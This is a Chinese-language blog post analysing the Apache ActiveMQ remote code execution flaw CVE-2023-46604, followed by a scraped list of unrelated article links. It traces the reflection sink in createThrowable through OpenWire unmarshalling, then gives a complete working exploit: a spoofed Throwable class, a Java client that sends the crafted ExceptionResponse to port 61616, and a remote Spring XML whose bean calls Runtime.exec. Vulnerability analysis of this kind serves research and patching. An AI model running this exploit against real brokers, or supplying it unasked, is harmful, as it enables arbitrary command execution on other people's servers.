ActiveMQ RCE CVE-2023-46604分析
一、漏洞触发点
org.apache.activemq.openwire.v12包下BaseDataStreamMarshaller类的createThrowable方法。
package org.apache.activemq.openwire.v12;
BaseDataStreamMarshaller类
private Throwable createThrowable(String className, String message) {
try {
Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
Constructor constructor = clazz.getConstructor(new Class[] {String.class});
return (Throwable)constructor.newInstance(new Object[] {message});
} catch (Throwable e) {
return new Throwable(className + ": " + message);
}
}
这里通过反射,实现了一个类的构造执行。所以需要找到这样一个类传递进去,类的构造方法参数为String,且能达到攻击效果。
activemq包含Spring,而ClassPathXmlApplicationContext类刚好能满足。
public class MainClassPathXmlApplicationContext {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext classPathXmlApplicationContext = new ClassPathXmlApplicationContext();
Class aClass = Class.forName(classPathXmlApplicationContext.getClass().getName(), false, classPathXmlApplicationContext.getClassLoader());
Constructor constructor = aClass.getConstructor(new Class[]{String.class});
constructor.newInstance(new Object[]{"http://127.0.0.1:7777/poc.xml"});
}
}
二、触发流程
createThrowable的触发来源两处
- org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.tightUnmarsalThrowable
- org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.looseUnmarsalThrowable
tightUnmarsalThrowable和looseUnmarsalThrowable的作用是将字节流反序列化为异常对象,并将其抛出。在 ActiveMQ 的消息传递过程中,异常对象可以用于在消息发送和接收之间传递错误信息或异常状态。通过将异常对象序列化并作为消息的一部分发送,接收方可以获取到发送方抛出的异常,并反序列化后处理。
这两处继续往上寻找触发点,一共有三处,也就是捕获异常对象是这三种类就可以触发tightUnmarsalThrowable或looseUnmarsalThrowable:
- ConnectionErrorMarshaller
- ExceptionResponseMarshaller
- MessageAckMarshaller
三类都存在tightUnmarshal和looseUnmarshal方法,两个方法分别触发tightUnmarshal和looseUnmarsalThrowable。
继续向上寻找,触发均来自OpenWireFormat类的doUnmarshal,该方法是OpenWire协议的反序列化方法。
在doUnmarshal中,根据dataType索引值对应的类,来执行对应类的tightUnmarshal或looseUnmarshal。
public Object doUnmarshal(DataInput dis) throws IOException {
byte dataType = dis.readByte();
if (dataType != NULL_TYPE) {
DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
if (dsm == null) {
throw new IOException("Unknown data type: " + dataType);
}
Object data = dsm.createObject();
if (this.tightEncodingEnabled) {
BooleanStream bs = new BooleanStream();
bs.unmarshal(dis);
dsm.tightUnmarshal(this, data, dis, bs);
} else {
dsm.looseUnmarshal(this, data, dis);
}
return data;
} else {
return null;
}
}
dataType在dataMarshallers中对应的上述三种类索引如下:
- ConnectionErrorMarshaller---16
- ExceptionResponseMarshaller---31
- MessageAckMarshaller---22
doUnmarshal再往上就是unmarshal,这也是所有数据接收的入口。
通过这里的分析,只要我们将ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAckMarshaller三种类型的对象序列化传给ActiveMQ的OpenWire协议接口,就可以让ActiveMQ在接收后进行反序列化,触发createThrowable。
三、传递的对象类型
通过上述知道dataType需要为16、31、22。当发送的对象类为ConnectionError、ExceptionResponse、MessageAck的时候dataType分别是16、31、22。
而这三个类接收的exception参数需要继承Throwable,所以可以在本地构造一个与Spring同路径名的ClassPathXmlApplicationContext类并继承Throwable,当ClassPathXmlApplicationContext对象发送后,类路径和message会被解析,最后服务器侧通过类路径反射得到Spring中的ClassPathXmlApplicationContext对象,达到攻击效果。
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{
public ClassPathXmlApplicationContext(String message) {
super(message);
}
}
四、如何发送序列化对象
Transport的oneway可实现对象发送,ActiveMQ的连接对象为ActiveMQConnection类,通过使用ActiveMQConnection类中asyncSendPacket最终调用Transport的oneway,来发送恶意对象。
((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);
五、利用方式
远程XML文件
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
<bean id="process" factory-bean="runtime" factory-method="exec">
<constructor-arg value="cmd /c start calc" />
</bean>
</beans>
ClassPathXmlApplicationContext类
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{
public ClassPathXmlApplicationContext(String message) {
super(message);
}
}
最终实现
import javax.jms.*;
public class Main {
private static final String ACTIVEMQ_URL = "tcp://127.0.0.1:61616";
public static void main(String[] args) throws Exception {
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
Connection connection = activeMQConnectionFactory.createConnection();
connection.start();
Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:7777/poc.xml");
ExceptionResponse exceptionResponse = new ExceptionResponse(obj);
// ConnectionError connectionError = new ConnectionError();
// connectionError.setException(obj);
// MessageAck messageAck = new MessageAck();
// messageAck.setPoisonCause(obj);
((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);
connection.close();
}
}
ActiveMQ RCE CVE-2023-46604分析的更多相关文章
- ActiveMQ笔记:源码分析
本文对ActiveMQ的启动过程,以及BrokerService,TransportConnector和NetworkConnector等几个重要的模块的代码做一个简要的分析. 启动过程 如果要快速地 ...
- webmin RCE漏洞利用及分析
Webmin是目前功能最强大的基于Web的Unix系统管理工具.管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作. 利用条件:webmin <= 1.910 原因:官网 Sou ...
- HDU 2023题解分析
我想说这道题我还没弄明白我错哪了,交了20多遍一直都是Runtime Error,改了N次还是不对,后来搜了一下,说是数组开小了,又把数组开大,还不对,又改发现一个平均值求错,再改,还不对,洗洗睡吧. ...
- 工业物联网或系统集成中应用消息队列(ActiveMQ,C#的demo)的场景全面分析
1.[连载]<C#通讯(串口和网络)框架的设计与实现> 2.[开源]C#跨平台物联网通讯框架ServerSuperIO(SSIO)介绍 2.应用SuperIO(SIO)和开源跨平台物联网框 ...
- ActiveMQ的安全机制使用及其源代码分析 [转]
ActiveMQ是目前较为流行的一款开源消息服务器.最近在项目开发中,需要为ActiveMQ开发基于IP的验证和授权机制,因此,对ActiveMQ的安全机制进行了了解,以下将介绍ActiveMQ的安全 ...
- AMQ学习笔记 - 15. 实践方案:基于ActiveMQ的统一日志服务
概述 以ActiveMQ + Log4j + Spring的技术组合,实现基于消息队列的统一日志服务. 参考:Spring+Log4j+ActiveMQ实现远程记录日志——实战+分析 与参考文章的比较 ...
- 基于ActiveMQ的统一日志服务
概述 以ActiveMQ + Log4j + Spring的技术组合,实现基于消息队列的统一日志服务. 参考:Spring+Log4j+ActiveMQ实现远程记录日志——实战+分析 与参考文章的比较 ...
- ActiveMQ相关背景(转)
概述 介绍中间件.MOM.JMS.ActiveMQ,及相互的关系. 中间件 由于业务的不同.技术的发展.硬件和软件的选择有所差别,导致了异构组件或应用并存的局面.要使这些异构的组件协同工作,一个有效的 ...
- PHPMailer 命令执行漏洞(CVE-2016-10033)分析(含通用POC)
对比一下新老版本:https://github.com/PHPMailer/PHPMailer/compare/v5.2.17…master 其实答案呼之欲出了——和Roundcube的RCE类似,m ...
- JMS学习(七)-ActiveMQ消息的持久存储方式之KahaDB存储
一,介绍 自ActiveMQ5.4以来,KahaDB成为了ActiveMQ默认的持久化存储方式.相比于原来的AMQ存储方式,官方宣称KahaDB使用了更少的文件描述符,并且提供了更快的存储恢复机制. ...
随机推荐
- MySQL系列之主从复制基础——企业高可用性标准、主从复制简介、主从复制前提(搭建主从的过程)、主从复制搭建、主从复制的原理、主从故障监控\分析\处理、主从延时监控及原因
文章目录 0.企业高可用性标准 *** 0.1 全年无故障率(非计划内故障停机) 0.2 高可用架构方案 1. 主从复制简介 ** 2. 主从复制前提(搭建主从的过程) *** 3. 主从复制搭建(C ...
- vscode自动格式化python代码符合pep8
vscode自动格式化python代码符合pep8 安装格式化工具打开命令行窗口安装以下工具 $ pip install -U flake8$ pip install -U autopep812在VS ...
- poe不能用了poe.com收费了
Anthropic's fastest model, with strength in creative tasks. Features a context window of 9k tokens ( ...
- postman导入请求到jmeter进行简单压测,开发同学一学就会
背景 这个事情也是最近做的,因为线上nginx被我换成了openresty,然后接入层服务也做了较大改动,虽然我们这个app(内部办公类)并发不算高,但好歹还是压测一下,上线时心里也稳一点. 于是用j ...
- AttributeError: module 'sqlalchemy' has no attribute '__all__'
升级组件 pip install --upgrade flask-sqlalchemy
- 递归与分治思想:汉诺塔(递归 && 分治思想)
1 //64个盘子 2 //划分成小问题:1.将上面的63个盘子从x借助z移动到y上 3 2.将第64个盘子从x移动到z上 4 3.将y上的63个盘子借助x移动到z上 5 详解:https://www ...
- React 中常用技术
可以少去理解一些不必要的概念,而多去思考为什么会有这样的东西,它解决了什么问题,或者它的运行机制是什么? 1. React 中导出和导入 1.1 ES6 解析 ES6 的模块化的基本规则或特点: 每一 ...
- python之猜数字小游戏
import random#随机数函数 a = random.randint(0, 50)#随机0-50之内的整数 print('------------------SWS工作室----------- ...
- 记录一次 postgresql 优化案例( 嵌套循环改HASH JOIN )
今天同事给我一条5秒的SQL看看能不能优化. 表数据量: select count(1) from AAAA union all select count(1) from XXXXX; count - ...
- 神经网络入门篇之深层神经网络:详解前向传播和反向传播(Forward and backward propagation)
深层神经网络(Deep L-layer neural network) 复习下前面的内容: 1.逻辑回归,结构如下图左边.一个隐藏层的神经网络,结构下图右边: 注意,神经网络的层数是这么定义的:从左到 ...